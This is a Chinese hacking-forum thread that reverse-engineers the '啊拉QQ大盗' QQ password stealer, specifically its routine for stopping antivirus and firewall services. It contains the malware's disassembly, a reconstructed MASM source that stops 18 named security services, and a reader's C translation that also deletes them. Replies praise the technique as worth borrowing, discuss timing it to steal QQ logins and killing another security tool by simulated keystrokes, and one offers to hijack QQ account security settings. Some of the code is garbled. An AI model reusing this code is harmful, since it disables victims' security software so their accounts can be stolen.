南北大盗祖国军

[原创]不完全逆向分析啊拉QQ大盗 - 论坛原创{ Original Paper } -
邪恶八进制信息安全团队技术讨论组 努力为祖国的信息安全撑起一片蓝天
[原创]不完全逆向分析啊拉QQ大盗
运维管理组
E.S.T正式成员
帖子1840&精华&积分10930&阅读权限150&性别男&在线时间1053 小时&注册时间&最后登录&
[原创]不完全逆向分析啊拉QQ大盗
文章作者:asm[C.R.S.T]
信息来源:邪恶八进制信息安全团队
啊拉QQ大盗有几个部分,大家看一下他的功能:
&&运行后关闭QQ,安装后删除自身,过滤重复号码,彻底坠毁防火墙等等.其中我最感兴趣的还是看看啊拉QQ大盗是怎么坠毁防火墙的,故挑了重点对它进行逆向分析.这个服务端是加了个壳.我对脱壳白痴,所以叫冷血书生帮我脱了.废话少说,下面是反汇编代码:代码:.shrink:0040A0AA& && && && &mov& & eax, offset s_R &RsCCenter&
.shrink:0040A0AF& && && && &call& &sub_4095FC& &;干掉如下防火墙服务..&&
.shrink:0040A0AF
.shrink:& && && && &mov& & eax, offset s_K &KVSrvXP&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A0BE& && && && &mov& & eax, offset s_K &kavsvc&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:& && && && &mov& & eax, offset s_K &KPfwSvc&
.shrink:0040A0CD& && && && &call& &sub_4095FC& &&&
.shrink:0040A0CD
.shrink:& && && && &mov& & eax, offset s_K &KWatchSvc&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A0DC& && && && &mov& & eax, offset s_W &wscsvc&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:& && && && &mov& & eax, offset s_S &SNDSrvc&
.shrink:0040A0EB& && && && &call& &sub_4095FC& &&&
.shrink:0040A0EB
.shrink:& && && && &mov& & eax, offset s_C &ccProxy&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A0FA& && && && &mov& & eax, offset s_C &ccEvtMgr&
.shrink:0040A0FF& && && && &call& &sub_4095FC& &&&
.shrink:0040A0FF
.shrink:& && && && &mov& & eax, offset s_C &ccSetMgr&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A10E& && && && &mov& & eax, offset s_S &SPBBCSvc&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:& && && && &mov& & eax, offset s_SymantecCoreL ; &Symantec Core LC&
.shrink:0040A11D& && && && &call& &sub_4095FC& &&&
.shrink:0040A11D
.shrink:& && && && &mov& & eax, offset s_N &navapsvc&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A12C& && && && &mov& & eax, offset s_N &NPFMntor&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:& && && && &mov& & eax, offset s_M &MskService&
.shrink:0040A13B& && && && &call& &sub_4095FC& &&&
.shrink:0040A13B
.shrink:& && && && &mov& & eax, offset s_M &McTaskManager&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A14A& && && && &mov& & eax, offset s_M &McShield&
.shrink:0040A14F& && && && &call& &sub_4095FC& &&&
.shrink:0040A14F
.shrink:& && && && &mov& & eax, offset s_M &McAfeeFramework&
.shrink:& && && && &call& &sub_4095FC& &&&
.shrink:0040A15E
.shrink:0040A15E loc_40A15E:& && && && && && &&&; CODE XREF: .shrink:0040A16D j
.shrink:0040A15E& && && && &call& &sub_409064
.shrink:0040A15E
.shrink:& && && && &push& &0BB8h& && &
.shrink:& && && && &call& &Sleep& && & ;休眠
.shrink:0040A16D& && && && &jmp& & short loc_40A15E
.shrink:0040A16D很明显,通过一个参数传递给sub_4095FC这个分支,而这个参数正好是一些常见的杀毒软件服务名称.所以这个函数应该这样构造:char sub_4095FC(int buffer)(C语言语法)把这个名称传递给sub_4095FC干什么捏?大家请看sub_4095FC这个分支:代码:.shrink:004095FC sub_4095FC& & proc near& && &
.shrink:004095FC& && && && && && && && && &
.shrink:004095FC& && && && && && && && && &
.shrink:004095FC& && && && && && && && && &
.shrink:004095FC& && && && && && && && &&&
.shrink:004095FC& && && && && && && && && &
.shrink:004095FC
.shrink:004095FC var_4& && &&&= dword ptr -4&&;传递进来的参数
.shrink:004095FC
.shrink:004095FC& && && && &push& &ebp
.shrink:004095FD& && && && &mov& & ebp, esp
.shrink:004095FF& && && && &push& &ecx
.shrink:& && && && &push& &ebx
.shrink:& && && && &push& &esi
.shrink:& && && && &push& &edi
.shrink:& && && && &mov& & [ebp+var_4], eax
.shrink:& && && && &mov& & eax, [ebp+var_4]
.shrink:& && && && &call& &sub_403ED0
.shrink:0040960E& && && && &xor& & eax, eax
.shrink:& && && && &push& &ebp
.shrink:& && && && &push& &offset s_SUIL_YN@ ; &榕瀄xFF\xFF腽嬅_^[Y]脥@& (这里已经被加密)
.shrink:& && && && &push& &dword ptr fs:[eax]
.shrink:& && && && &mov& & fs:[eax], esp
.shrink:0040961C& && && && &mov& & eax, [ebp+var_4]
.shrink:0040961F& && && && &call& &sub_403EE0
.shrink:0040961F
.shrink:& && && && &mov& & esi, eax
.shrink:& && && && &push& &0F003Fh& && &; dwDesiredAccess
.shrink:0040962B& && && && &push& &0& && && & ; lpDatabaseName
.shrink:0040962D& && && && &push& &0& && && & ; lpMachineName
.shrink:0040962F& && && && &call& &OpenSCManagerA&&; 打开服务管理器
.shrink:0040962F
.shrink:& && && && &mov& & edi, eax& && &; 保存句柄到edi
.shrink:& && && && &test& &edi, edi& && &; 是否打开成功?
.shrink:& && && && &jbe& & short loc_4096A8 ; 打开成功,继续执行,反之跳到这里
.shrink:0040963A& && && && &push& &0F01FFh& && &; dwDesiredAccess
.shrink:0040963F& && && && &push& &esi& && && &; lpServiceName
.shrink:& && && && &push& &edi& && && &; hSCManager
.shrink:& && && && &call& &OpenServiceA& &; 打开一个防火墙的服务
.shrink:& && && && &mov& & esi, eax
.shrink:& && && && &test& &esi, esi
.shrink:0040964A& && && && &jbe& & short loc_4096A2 ; 打开出错 关闭句柄
.shrink:0040964A
.shrink:0040964C& && && && &push& &offset ServiceS lpServiceStatus
.shrink:& && && && &push& &1& && && & ; dwControl
.shrink:& && && && &push& &esi& && && &; hService
.shrink:& && && && &call& &ControlService&&; 停止人家的防火墙的服务
.shrink:& && && && &test& &eax, eax
.shrink:0040965B& && && && &jz& & short loc_4096A8
.shrink:0040965B
.shrink:0040965D& && && && &push& &3E8h& && &&&; dwMilliseconds
.shrink:& && && && &call& &Sleep& && &&&; 休眠1000秒
.shrink:& && && && &jmp& & short loc_40967C
.shrink: ; ---------------------------------------------------------------------------
.shrink: loc_409669:& && && && && && &
.shrink:& && && && &cmp& & ServiceStatus.dwCurrentState,3 ;是否是SERVICE_STOP_PENDING状态
.shrink:& && && && &jnz& & short loc_40968B
.shrink:& && && && &push& &3E8h& && &&&; dwMilliseconds
.shrink:& && && && &call& &Sleep& && &&&;休眠
.shrink:0040967C
.shrink:0040967C loc_40967C:& && && && && && &&&
.shrink:0040967C& && && && &push& &offset ServiceS lpServiceStatus
.shrink:& && && && &push& &esi& && && &; hService
.shrink:& && && && &call& &QueryServiceS 查询设备驱动器的当前状态
.shrink:& && && && &test& &eax, eax
.shrink:& && && && &jnz& & short loc_409669 ; 查询未成功,继续休泯,然后再查询
.shrink:0040968B
.shrink:0040968B loc_40968B:& && && && && && &&&
.shrink:0040968B& && && && &cmp& & ServiceStatus.dwCurrentState, 1
.shrink:& && && && &jz& & short loc_4096A8 ; 对比是否收到控制代码SERVICE_STOP_PENDING
.shrink:& && && && &push& &esi& && && &; hSCObject
.shrink:& && && && &call& &CloseServiceH 关闭这个服务
.shrink:0040969A& && && && &push& &edi& && && &; hSCObject
.shrink:0040969B& && && && &call& &CloseServiceHandle
.shrink:0040969B
.shrink:& && && && &jmp& & short loc_4096A8
.shrink: ; ---------------------------------------------------------------------------
.shrink: loc_4096A2:& && && && && && &&&
.shrink:& && && && &push& &edi& && && &; hSCObject
.shrink:& && && && &call& &CloseServiceH 关闭打开服务管理器的句柄
.shrink: loc_4096A8:& && && && && && &&&
.shrink:& && && && && && && && && &
.shrink:& && && && && && && && && &
.shrink:& && && && && && && && && &
.shrink:& && && && &xor& & eax, eax
.shrink:004096AA& && && && &pop& & edx
.shrink:004096AB& && && && &pop& & ecx
.shrink:004096AC& && && && &pop& & ecx
.shrink:004096AD& && && && &mov& & fs:[eax], edx
.shrink:& && && && &push& &4096C5 &suspicious&
.shrink:& && && && &lea& & eax, [ebp+var_4]
.shrink:& && && && &call& &sub_403B68
.shrink:004096BD& && && && &retn
.shrink:004096BD
.shrink:004096BD sub_4095FC& & sp = -18h原来是通过连接服务器设备管理器来关闭服务,如果函数ControlService执行不成功的话,就关闭句柄退了出去,反之,查询一下ControlService函数关闭后管理器返回的ServiceStatus的结构成员dwCurrentState的值非SERVICE_STOP_PENDING的标志,就代表关闭成功,就可以关闭这个服务了.其实这是很简单的.
& &&&下面就给出汇编源代码代码:;******************************************************************
;程序编写by Asm
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;*****************************************************************
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include advapi32.inc
includelib kernel32.lib
includelib advapi32.lib
_CloseService PROTO :DWORD
s_Rsccenter db &RsCCenter&
s_Kvsrvxp db &KVSrvXP&
s_Kavsvc db &kavsvc&
s_Kpfwsvc db &KPfwSvc&
s_Kwatchsvc db &KWatchSvc&
s_Wscsvc db &wscsvc&
s_Sndsrvc db &SNDSrvc&
s_Ccproxy db &ccProxy&
s_Ccevtmgr db &ccEvtMgr&
s_Ccsetmgr db &ccSetMgr&
s_Spbbcsvc db &SPBBCSvc&
s_SymantecCoreL db &Symantec Core LC&
s_Navapsvc db &navapsvc&
s_Npfmntor db &NPFMntor&
s_Mskservice db &MskService&
s_Mctaskmanager db &McTaskManager&
s_Mcshield db &McShield&
s_Mcafeeframewo db &McAfeeFramework&
_CloseService proc _Service
local hSCManager:DWORD
local hService:DWORD
local ServiceStatus:SERVICE_STATUS
& &invoke OpenSCManager,NULL,NULL, SC_MANAGER_CREATE_SERVICE ;连接服务管理器
& &.if eax!=0
& && & mov&&hSCManager,连接成功,返回一个句柄
& &.elseif
& &jmp ExitSCManager
& && & invoke OpenService, hSCManager,_Service,0F01FF打开服务
& && & .if eax!=0
& && && & mov hService,eax
& & .elseif
& & jmp ExitSCManager
& && & .endif
& && & invoke ControlService,hService,SERVICE_CONTROL_STOP,addr ServiceS停止防火墙的服务
& && & .if eax == NULL
& && & jmp ExitSCManager
& && & .endif
& && & invoke Sleep,1000
& && & invoke QueryServiceStatus,hService,addr ServiceS查询返回的标志
& && & .if eax != NULL
& && & cmp ServiceStatus.dwCurrentState,SERVICE_STOP_PENDING ;获取SERVICE_STOP_PENDING标志代表关闭成功
& && & jnz ColseIt
& && & .endif
cmp ServiceStatus.dwCurrentState,1h
jz ExitSCManager
invoke CloseServiceHandle,hService
invoke CloseServiceHandle,hSCManager
ExitSCManager:
invoke CloseServiceHandle, hSCManager
invoke ExitProcess,NULL
_CloseService endp
;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
invoke _CloseService,addr s_Rsccenter
invoke _CloseService,addr s_Kvsrvxp
invoke _CloseService,addr s_Kavsvc
invoke _CloseService,addr s_Kpfwsvc
invoke _CloseService,addr s_Kwatchsvc
invoke _CloseService,addr s_Wscsvc
invoke _CloseService,addr s_Sndsrvc
invoke _CloseService,addr s_Ccproxy
invoke _CloseService,addr s_Ccevtmgr
invoke _CloseService,addr s_Ccsetmgr
invoke _CloseService,addr s_Spbbcsvc
invoke _CloseService,addr s_SymantecCoreL
invoke _CloseService,addr s_Navapsvc
invoke _CloseService,addr s_Npfmntor
invoke _CloseService,addr s_Mskservice
invoke _CloseService,addr s_Mctaskmanager
invoke _CloseService,addr s_Mcshield
invoke _CloseService,addr s_Mcafeeframewo
运维管理组
E.S.T正式成员
帖子1840&精华&积分10930&阅读权限150&性别男&在线时间1053 小时&注册时间&最后登录&
引用:引用第2楼lin5066870于 15:03发表的:
本人会改QQ密保~~~~在不知道密码的情境下~~~~~~改之~~~~~~~学习的请联系QQ;5066870QQ: 把我的密保改了,我叫你爷爷
PS:小爷我最讨厌这种顶贴方式... [s:68]
晶莹剔透§烈日灼然
帖子11&精华&积分41&阅读权限20&性别男&在线时间13 小时&注册时间&最后登录&
这学期准备学习汇编   
不知道分析有无后门这个汇编代码怎么分析
晶莹剔透§烈日灼然
帖子26&精华&积分93&阅读权限40&性别男&在线时间89 小时&注册时间&最后登录&
呵呵,比较垃圾的一个QQ盗号软件,无法穿透NP的保护...
运维管理组
E.S.T正式成员
帖子1840&精华&积分10930&阅读权限150&性别男&在线时间1053 小时&注册时间&最后登录&
引用:引用第6楼bigwahaha于 17:05发表的 :
呵呵,比较垃圾的一个QQ盗号软件,无法穿透NP的保护...啊拉QQ拉不垃圾可不关我的事....
估计作者很久没有更新了,而杀毒软件正在飞跃发展...
我反汇编这个啊拉,只是为了修炼逆向功底,至于程序的优劣,不在我的学习范围之内
晶莹剔透§烈日灼然
帖子1&精华&积分6&阅读权限20&在线时间6 小时&注册时间&最后登录&
应该先查询在关,这样一棍子打死一大群的方法太费时间了,而且他还延时一秒,等关完了什么什么墙人家早就登陆完QQ了,登完QQ在调杀毒软件就没机会偷了。
晶莹剔透§烈日灼然
帖子37&精华&积分65&阅读权限40&在线时间25 小时&注册时间&最后登录&
摧毁防火墙的方法值得 借鉴
帖子37&精华&积分65&阅读权限40&在线时间25 小时&注册时间&最后登录&
运维管理组
E.S.T正式成员
帖子1840&精华&积分10930&阅读权限150&性别男&在线时间1053 小时&注册时间&最后登录&
引用:引用第7楼zmhack于 00:30发表的 :
摧毁防火墙的方法值得 借鉴呵呵,是值得借鉴
都说冰刃是驱动了,但是熊猫还是利用PostMessageA发送12h,调用MapVirtualKeyA对消息进行扫描,keybd_event模拟用户点击来kill掉了冰刃.....
比如卡巴,它再牛总得让用户关闭吧?呵呵,PostMessageA派上用场了
晶莹剔透§烈日灼然
帖子13&精华&积分48&阅读权限20&在线时间124 小时&注册时间&最后登录&
不好意思,翻译了一下,高手勿笑
# include &windows.h&
# include &stdio.h&
void remove(char *s)
{ SC_HANDLE service ,
SERVICE_STATUS
//starting connect
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
& & printf(&OpenSCManager Error\n&);
&&service=OpenService(scm,s,SERVICE_ALL_ACCESS|DELETE);
if(!service)
& & printf(&OpenService error!\n&);
success=QueryServiceStatus(service,&status);
& & if (!success)
& & printf(&QueryServiceStatus error!\n&);
if ( status.dwCurrentState!=SERVICE_STOPPED )
& & success=ControlService(service,SERVICE_CONTROL_STOP,&status);
& & if (!success )
& && && &printf(&failed!!\n&);
&&Sleep(1000);
if( success=DeleteService(service))
&&printf(&firewall removed\n&);
else printf(&delete failed!!&);
& &CloseServiceHandle(service);
& &CloseServiceHandle(scm);
printf(&thank you for using...\n&);
void version()
&&printf(&**************** close fire wall **********\n&);
&&printf(&**************** trandlated from asm by uncledo \n&);
&&printf(&****************
**********\n&);
void main()
char name[18][30]={
&RsCCenter&,
&KVSrvXP&,
&KPfwSvc&,
&KWatchSvc&,
&SNDSrvc&,
&ccProxy&,
&ccEvtMgr&,
&ccSetMgr&,
&SPBBCSvc&,
&Symantec Core LC&,
&navapsvc&,
&NPFMntor&,
&MskService&,
&McTaskManager&,
&McShield&,
&McAfeeFramework&,
&&version();
&&for(i=0;i&18;i++)
&&remove(&name[30]);
帖子749&精华&积分5666&阅读权限100&性别男&在线时间259 小时&注册时间&最后登录&
那东西的源代码不是有吗
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.
晶莹剔透§烈日灼然
帖子7&精华&积分30&阅读权限20&在线时间20 小时&注册时间&最后登录&
不知道用OD的话,容不容易得出楼主的效果呢?
晶莹剔透§烈日灼然
帖子49&精华&积分152&阅读权限40&在线时间82 小时&注册时间&最后登录&
引用:引用第10楼冷血书生于 20:58发表的 :
不知道用OD的话,容不容易得出楼主的效果呢?逆向还是IDA,和看汇编差不多
晶莹剔透§烈日灼然
帖子9&精华&积分34&阅读权限20&性别男&在线时间1 小时&注册时间&最后登录&
值得借鉴,谢啦!
晶莹剔透§烈日灼然
帖子43&精华&积分62&阅读权限40&性别男&在线时间39 小时&注册时间&最后登录&
经典东西,本来以为看不懂 呵呵 居然看懂了以部分呢!}

我要回帖

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信